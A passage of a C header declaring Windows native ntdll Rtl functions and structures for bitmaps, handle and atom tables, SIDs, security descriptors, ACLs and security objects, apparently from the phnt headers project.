);\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAreBitsSet(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG StartingIndex,\n _In_ ULONG Length\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlFindNextForwardRunClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG FromIndex,\n _Out_ PULONG StartingRunIndex\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlFindLastBackwardRunClear(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG FromIndex,\n _Out_ PULONG StartingRunIndex\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberOfSetBitsUlongPtr(\n _In_ ULONG_PTR Target\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlInterlockedClearBitRun(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToClear) ULONG StartingIndex,\n _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToClear\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlInterlockedSetBitRun(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_range_(0, BitMapHeader->SizeOfBitMap - NumberToSet) ULONG StartingIndex,\n _In_range_(0, BitMapHeader->SizeOfBitMap - StartingIndex) ULONG NumberToSet\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN8)\n\nNTSYSAPI\nVOID\nNTAPI\nRtlCopyBitMap(\n _In_ PRTL_BITMAP Source,\n _In_ PRTL_BITMAP Destination,\n _In_range_(0, Destination->SizeOfBitMap - 1) ULONG TargetBit\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlExtractBitMap(\n _In_ PRTL_BITMAP Source,\n _In_ PRTL_BITMAP Destination,\n _In_range_(0, Source->SizeOfBitMap - 1) ULONG TargetBit,\n _In_range_(0, Source->SizeOfBitMap) ULONG NumberOfBits\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberOfClearBitsInRange(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG StartingIndex,\n _In_ ULONG Length\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNumberOfSetBitsInRange(\n _In_ PRTL_BITMAP BitMapHeader,\n _In_ ULONG StartingIndex,\n _In_ ULONG Length\n );\n\n#endif\n\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\n\n// private\ntypedef struct _RTL_BITMAP_EX\n{\n ULONG64 SizeOfBitMap;\n PULONG64 Buffer;\n} RTL_BITMAP_EX, *PRTL_BITMAP_EX;\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeBitMapEx(\n _Out_ PRTL_BITMAP_EX BitMapHeader,\n _In_ PULONG64 BitMapBuffer,\n _In_ ULONG64 SizeOfBitMap\n );\n\n// rev\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlTestBitEx(\n _In_ PRTL_BITMAP_EX BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber\n );\n\n#if (PHNT_MODE == PHNT_MODE_KERNEL)\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlClearAllBitsEx(\n _In_ PRTL_BITMAP_EX BitMapHeader\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlClearBitEx(\n _In_ PRTL_BITMAP_EX BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber\n );\n\n// rev\nNTSYSAPI\nVOID\nNTAPI\nRtlSetBitEx(\n _In_ PRTL_BITMAP_EX BitMapHeader,\n _In_range_(<, BitMapHeader->SizeOfBitMap) ULONG64 BitNumber\n );\n\n// rev\nNTSYSAPI\nULONG64\nNTAPI\nRtlFindSetBitsEx(\n _In_ PRTL_BITMAP_EX BitMapHeader,\n _In_ ULONG64 NumberToFind,\n _In_ ULONG64 HintIndex\n );\n\nNTSYSAPI\nULONG64\nNTAPI\nRtlFindSetBitsAndClearEx(\n _In_ PRTL_BITMAP_EX BitMapHeader,\n _In_ ULONG64 NumberToFind,\n _In_ ULONG64 HintIndex\n );\n#endif\n\n#endif\n\n// Handle tables\n\ntypedef struct _RTL_HANDLE_TABLE_ENTRY\n{\n union\n {\n ULONG Flags; // allocated entries have the low bit set\n struct _RTL_HANDLE_TABLE_ENTRY *NextFree;\n };\n} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;\n\n#define RTL_HANDLE_ALLOCATED (USHORT)0x0001\n\ntypedef struct _RTL_HANDLE_TABLE\n{\n ULONG MaximumNumberOfHandles;\n ULONG SizeOfHandleTableEntry;\n ULONG Reserved[2];\n PRTL_HANDLE_TABLE_ENTRY FreeHandles;\n PRTL_HANDLE_TABLE_ENTRY CommittedHandles;\n PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;\n PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;\n} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;\n\nNTSYSAPI\nVOID\nNTAPI\nRtlInitializeHandleTable(\n _In_ ULONG MaximumNumberOfHandles,\n _In_ ULONG SizeOfHandleTableEntry,\n _Out_ PRTL_HANDLE_TABLE HandleTable\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyHandleTable(\n _Inout_ PRTL_HANDLE_TABLE HandleTable\n );\n\nNTSYSAPI\nPRTL_HANDLE_TABLE_ENTRY\nNTAPI\nRtlAllocateHandle(\n _In_ PRTL_HANDLE_TABLE HandleTable,\n _Out_opt_ PULONG HandleIndex\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFreeHandle(\n _In_ PRTL_HANDLE_TABLE HandleTable,\n _In_ PRTL_HANDLE_TABLE_ENTRY Handle\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidHandle(\n _In_ PRTL_HANDLE_TABLE HandleTable,\n _In_ PRTL_HANDLE_TABLE_ENTRY Handle\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsValidIndexHandle(\n _In_ PRTL_HANDLE_TABLE HandleTable,\n _In_ ULONG HandleIndex,\n _Out_ PRTL_HANDLE_TABLE_ENTRY *Handle\n );\n\n// Atom tables\n\n#define RTL_ATOM_MAXIMUM_INTEGER_ATOM (RTL_ATOM)0xc000\n#define RTL_ATOM_INVALID_ATOM (RTL_ATOM)0x0000\n#define RTL_ATOM_TABLE_DEFAULT_NUMBER_OF_BUCKETS 37\n#define RTL_ATOM_MAXIMUM_NAME_LENGTH 255\n#define RTL_ATOM_PINNED 0x01\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateAtomTable(\n _In_ ULONG NumberOfBuckets,\n _Out_ PVOID *AtomTableHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDestroyAtomTable(\n _In_ _Post_invalid_ PVOID AtomTableHandle\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlEmptyAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ BOOLEAN IncludePinnedAtoms\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAtomToAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ PWSTR AtomName,\n _Inout_opt_ PRTL_ATOM Atom\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLookupAtomInAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ PWSTR AtomName,\n _Out_opt_ PRTL_ATOM Atom\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteAtomFromAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ RTL_ATOM Atom\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlPinAtomInAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ RTL_ATOM Atom\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryAtomInAtomTable(\n _In_ PVOID AtomTableHandle,\n _In_ RTL_ATOM Atom,\n _Out_opt_ PULONG AtomUsage,\n _Out_opt_ PULONG AtomFlags,\n _Inout_updates_bytes_to_opt_(*AtomNameLength, *AtomNameLength) PWSTR AtomName,\n _Inout_opt_ PULONG AtomNameLength\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlGetIntegerAtom(\n _In_ PWSTR AtomName,\n _Out_opt_ PUSHORT IntegerAtom\n );\n#endif\n\n// SIDs\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidSid(\n _In_ PSID Sid\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualSid(\n _In_ PSID Sid1,\n _In_ PSID Sid2\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlEqualPrefixSid(\n _In_ PSID Sid1,\n _In_ PSID Sid2\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthRequiredSid(\n _In_ ULONG SubAuthorityCount\n );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlFreeSid(\n _In_ _Post_invalid_ PSID Sid\n );\n\n_Check_return_\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAllocateAndInitializeSid(\n _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n _In_ UCHAR SubAuthorityCount,\n _In_ ULONG SubAuthority0,\n _In_ ULONG SubAuthority1,\n _In_ ULONG SubAuthority2,\n _In_ ULONG SubAuthority3,\n _In_ ULONG SubAuthority4,\n _In_ ULONG SubAuthority5,\n _In_ ULONG SubAuthority6,\n _In_ ULONG SubAuthority7,\n _Outptr_ PSID *Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeSid(\n _Out_ PSID Sid,\n _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n _In_ UCHAR SubAuthorityCount\n );\n\n#if (PHNT_VERSION >= PHNT_THRESHOLD)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlInitializeSidEx(\n _Out_writes_bytes_(SECURITY_SID_SIZE(SubAuthorityCount)) PSID Sid,\n _In_ PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n _In_ UCHAR SubAuthorityCount,\n ...\n );\n#endif\n\nNTSYSAPI\nPSID_IDENTIFIER_AUTHORITY\nNTAPI\nRtlIdentifierAuthoritySid(\n _In_ PSID Sid\n );\n\nNTSYSAPI\nPULONG\nNTAPI\nRtlSubAuthoritySid(\n _In_ PSID Sid,\n _In_ ULONG SubAuthority\n );\n\nNTSYSAPI\nPUCHAR\nNTAPI\nRtlSubAuthorityCountSid(\n _In_ PSID Sid\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthSid(\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCopySid(\n _In_ ULONG DestinationSidLength,\n _In_reads_bytes_(DestinationSidLength) PSID DestinationSid,\n _In_ PSID SourceSid\n );\n\n// ros\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCopySidAndAttributesArray(\n _In_ ULONG Count,\n _In_ PSID_AND_ATTRIBUTES Src,\n _In_ ULONG SidAreaSize,\n _In_ PSID_AND_ATTRIBUTES Dest,\n _In_ PSID SidArea,\n _Out_ PSID *RemainingSidArea,\n _Out_ PULONG RemainingSidAreaSize\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateServiceSid(\n _In_ PUNICODE_STRING ServiceName,\n _Out_writes_bytes_opt_(*ServiceSidLength) PSID ServiceSid,\n _Inout_ PULONG ServiceSidLength\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSidDominates(\n _In_ PSID Sid1,\n _In_ PSID Sid2,\n _Out_ PBOOLEAN Dominates\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_WINBLUE)\n\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSidDominatesForTrust(\n _In_ PSID Sid1,\n _In_ PSID Sid2,\n _Out_ PBOOLEAN DominatesTrust // TokenProcessTrustLevel\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSidEqualLevel(\n _In_ PSID Sid1,\n _In_ PSID Sid2,\n _Out_ PBOOLEAN EqualLevel\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSidIsHigherLevel(\n _In_ PSID Sid1,\n _In_ PSID Sid2,\n _Out_ PBOOLEAN HigherLevel\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateVirtualAccountSid(\n _In_ PUNICODE_STRING Name,\n _In_ ULONG BaseSubAuthority,\n _Out_writes_bytes_(*SidLength) PSID Sid,\n _Inout_ PULONG SidLength\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlReplaceSidInSd(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ PSID OldSid,\n _In_ PSID NewSid,\n _Out_ ULONG *NumChanges\n );\n#endif\n\n#define MAX_UNICODE_STACK_BUFFER_LENGTH 256\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlLengthSidAsUnicodeString(\n _In_ PSID Sid,\n _Out_ PULONG StringLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlConvertSidToUnicodeString(\n _Inout_ PUNICODE_STRING UnicodeString,\n _In_ PSID Sid,\n _In_ BOOLEAN AllocateDestinationString\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSidHashInitialize(\n _In_reads_(SidCount) PSID_AND_ATTRIBUTES SidAttr,\n _In_ ULONG SidCount,\n _Out_ PSID_AND_ATTRIBUTES_HASH SidAttrHash\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nPSID_AND_ATTRIBUTES\nNTAPI\nRtlSidHashLookup(\n _In_ PSID_AND_ATTRIBUTES_HASH SidAttrHash,\n _In_ PSID Sid\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// rev\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlIsElevatedRid(\n _In_ PSID_AND_ATTRIBUTES SidAttr\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_REDSTONE2)\n// rev\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeriveCapabilitySidsFromName(\n _Inout_ PUNICODE_STRING UnicodeString,\n _Out_ PSID CapabilityGroupSid,\n _Out_ PSID CapabilitySid\n );\n#endif\n\n// Security Descriptors\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateSecurityDescriptor(\n _Out_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ ULONG Revision\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlLengthSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor\n );\n\n_Check_return_\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidRelativeSecurityDescriptor(\n _In_reads_bytes_(SecurityDescriptorLength) PSECURITY_DESCRIPTOR SecurityDescriptorInput,\n _In_ ULONG SecurityDescriptorLength,\n _In_ SECURITY_INFORMATION RequiredInformation\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetControlSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PSECURITY_DESCRIPTOR_CONTROL Control,\n _Out_ PULONG Revision\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetControlSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsOfInterest,\n _In_ SECURITY_DESCRIPTOR_CONTROL ControlBitsToSet\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetAttributesSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ SECURITY_DESCRIPTOR_CONTROL Control,\n _Out_ PULONG Revision\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlGetSecurityDescriptorRMControl(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PUCHAR RMControl\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetSecurityDescriptorRMControl(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PUCHAR RMControl\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetDaclSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ BOOLEAN DaclPresent,\n _In_opt_ PACL Dacl,\n _In_opt_ BOOLEAN DaclDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetDaclSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PBOOLEAN DaclPresent,\n _Out_ PACL *Dacl,\n _Out_ PBOOLEAN DaclDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSaclSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_ BOOLEAN SaclPresent,\n _In_opt_ PACL Sacl,\n _In_opt_ BOOLEAN SaclDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetSaclSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PBOOLEAN SaclPresent,\n _Out_ PACL *Sacl,\n _Out_ PBOOLEAN SaclDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetSaclSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PBOOLEAN SaclPresent,\n _Out_ PACL *Sacl,\n _Out_ PBOOLEAN SaclDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetOwnerSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID Owner,\n _In_opt_ BOOLEAN OwnerDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetOwnerSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PSID *Owner,\n _Out_ PBOOLEAN OwnerDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetGroupSecurityDescriptor(\n _Inout_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _In_opt_ PSID Group,\n _In_opt_ BOOLEAN GroupDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetGroupSecurityDescriptor(\n _In_ PSECURITY_DESCRIPTOR SecurityDescriptor,\n _Out_ PSID *Group,\n _Out_ PBOOLEAN GroupDefaulted\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlMakeSelfRelativeSD(\n _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n _Out_writes_bytes_(*BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAbsoluteToSelfRelativeSD(\n _In_ PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n _Inout_ PULONG BufferLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSelfRelativeToAbsoluteSD(\n _In_ PSECURITY_DESCRIPTOR SelfRelativeSecurityDescriptor,\n _Out_writes_bytes_to_opt_(*AbsoluteSecurityDescriptorSize, *AbsoluteSecurityDescriptorSize) PSECURITY_DESCRIPTOR AbsoluteSecurityDescriptor,\n _Inout_ PULONG AbsoluteSecurityDescriptorSize,\n _Out_writes_bytes_to_opt_(*DaclSize, *DaclSize) PACL Dacl,\n _Inout_ PULONG DaclSize,\n _Out_writes_bytes_to_opt_(*SaclSize, *SaclSize) PACL Sacl,\n _Inout_ PULONG SaclSize,\n _Out_writes_bytes_to_opt_(*OwnerSize, *OwnerSize) PSID Owner,\n _Inout_ PULONG OwnerSize,\n _Out_writes_bytes_to_opt_(*PrimaryGroupSize, *PrimaryGroupSize) PSID PrimaryGroup,\n _Inout_ PULONG PrimaryGroupSize\n );\n\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSelfRelativeToAbsoluteSD2(\n _Inout_ PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor,\n _Inout_ PULONG pBufferSize\n );\n\n// Access masks\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAreAllAccessesGranted(\n _In_ ACCESS_MASK GrantedAccess,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlAreAnyAccessesGranted(\n _In_ ACCESS_MASK GrantedAccess,\n _In_ ACCESS_MASK DesiredAccess\n );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlMapGenericMask(\n _Inout_ PACCESS_MASK AccessMask,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\n// ACLs\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlCreateAcl(\n _Out_writes_bytes_(AclLength) PACL Acl,\n _In_ ULONG AclLength,\n _In_ ULONG AclRevision\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlValidAcl(\n _In_ PACL Acl\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQueryInformationAcl(\n _In_ PACL Acl,\n _Out_writes_bytes_(AclInformationLength) PVOID AclInformation,\n _In_ ULONG AclInformationLength,\n _In_ ACL_INFORMATION_CLASS AclInformationClass\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetInformationAcl(\n _Inout_ PACL Acl,\n _In_reads_bytes_(AclInformationLength) PVOID AclInformation,\n _In_ ULONG AclInformationLength,\n _In_ ACL_INFORMATION_CLASS AclInformationClass\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG StartingAceIndex,\n _In_reads_bytes_(AceListLength) PVOID AceList,\n _In_ ULONG AceListLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceIndex\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetAce(\n _In_ PACL Acl,\n _In_ ULONG AceIndex,\n _Outptr_ PVOID *Ace\n );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlFirstFreeAce(\n _In_ PACL Acl,\n _Out_ PVOID *FirstFree\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nPVOID\nNTAPI\nRtlFindAceByType(\n _In_ PACL pAcl,\n _In_ UCHAR AceType,\n _Out_opt_ PULONG pIndex\n );\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlOwnerAcesPresent(\n _In_ PACL pAcl\n );\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAceEx(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessDeniedAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessDeniedAceEx(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAuditAccessAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid,\n _In_ BOOLEAN AuditSuccess,\n _In_ BOOLEAN AuditFailure\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAuditAccessAceEx(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID Sid,\n _In_ BOOLEAN AuditSuccess,\n _In_ BOOLEAN AuditFailure\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessAllowedObjectAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_opt_ PGUID ObjectTypeGuid,\n _In_opt_ PGUID InheritedObjectTypeGuid,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAccessDeniedObjectAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_opt_ PGUID ObjectTypeGuid,\n _In_opt_ PGUID InheritedObjectTypeGuid,\n _In_ PSID Sid\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddAuditAccessObjectAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ ACCESS_MASK AccessMask,\n _In_opt_ PGUID ObjectTypeGuid,\n _In_opt_ PGUID InheritedObjectTypeGuid,\n _In_ PSID Sid,\n _In_ BOOLEAN AuditSuccess,\n _In_ BOOLEAN AuditFailure\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddCompoundAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ UCHAR AceType,\n _In_ ACCESS_MASK AccessMask,\n _In_ PSID ServerSid,\n _In_ PSID ClientSid\n );\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// private\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlAddMandatoryAce(\n _Inout_ PACL Acl,\n _In_ ULONG AceRevision,\n _In_ ULONG AceFlags,\n _In_ PSID Sid,\n _In_ UCHAR AceType,\n _In_ ACCESS_MASK AccessMask\n );\n#endif\n\n// Named pipes\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDefaultNpAcl(\n _Out_ PACL *Acl\n );\n\n// Security objects\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNewSecurityObject(\n _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *NewDescriptor,\n _In_ BOOLEAN IsDirectoryObject,\n _In_opt_ HANDLE Token,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNewSecurityObjectEx(\n _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *NewDescriptor,\n _In_opt_ GUID *ObjectType,\n _In_ BOOLEAN IsDirectoryObject,\n _In_ ULONG AutoInheritFlags, // SEF_*\n _In_opt_ HANDLE Token,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNewSecurityObjectWithMultipleInheritance(\n _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor,\n _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor,\n _Out_ PSECURITY_DESCRIPTOR *NewDescriptor,\n _In_opt_ GUID **ObjectType,\n _In_ ULONG GuidCount,\n _In_ BOOLEAN IsDirectoryObject,\n _In_ ULONG AutoInheritFlags, // SEF_*\n _In_opt_ HANDLE Token,\n _In_ PGENERIC_MAPPING GenericMapping\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlDeleteSecurityObject(\n _Inout_ PSECURITY_DESCRIPTOR *ObjectDescriptor\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlQuerySecurityObject(\n _In_ PSECURITY_DESCRIPTOR ObjectDescriptor,\n _In_ SECURITY_INFORMATION SecurityInformation,\n _Out_opt_ PSECURITY_DESCRIPTOR ResultantDescriptor,\n _In_ ULONG DescriptorLength,\n _Out_ PULONG ReturnLength\n );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlSetSecurityObject(\n _In_ SECURITY_INFORMATION SecurityInformation,\n _In_ PSECURITY_DESCRIPTOR 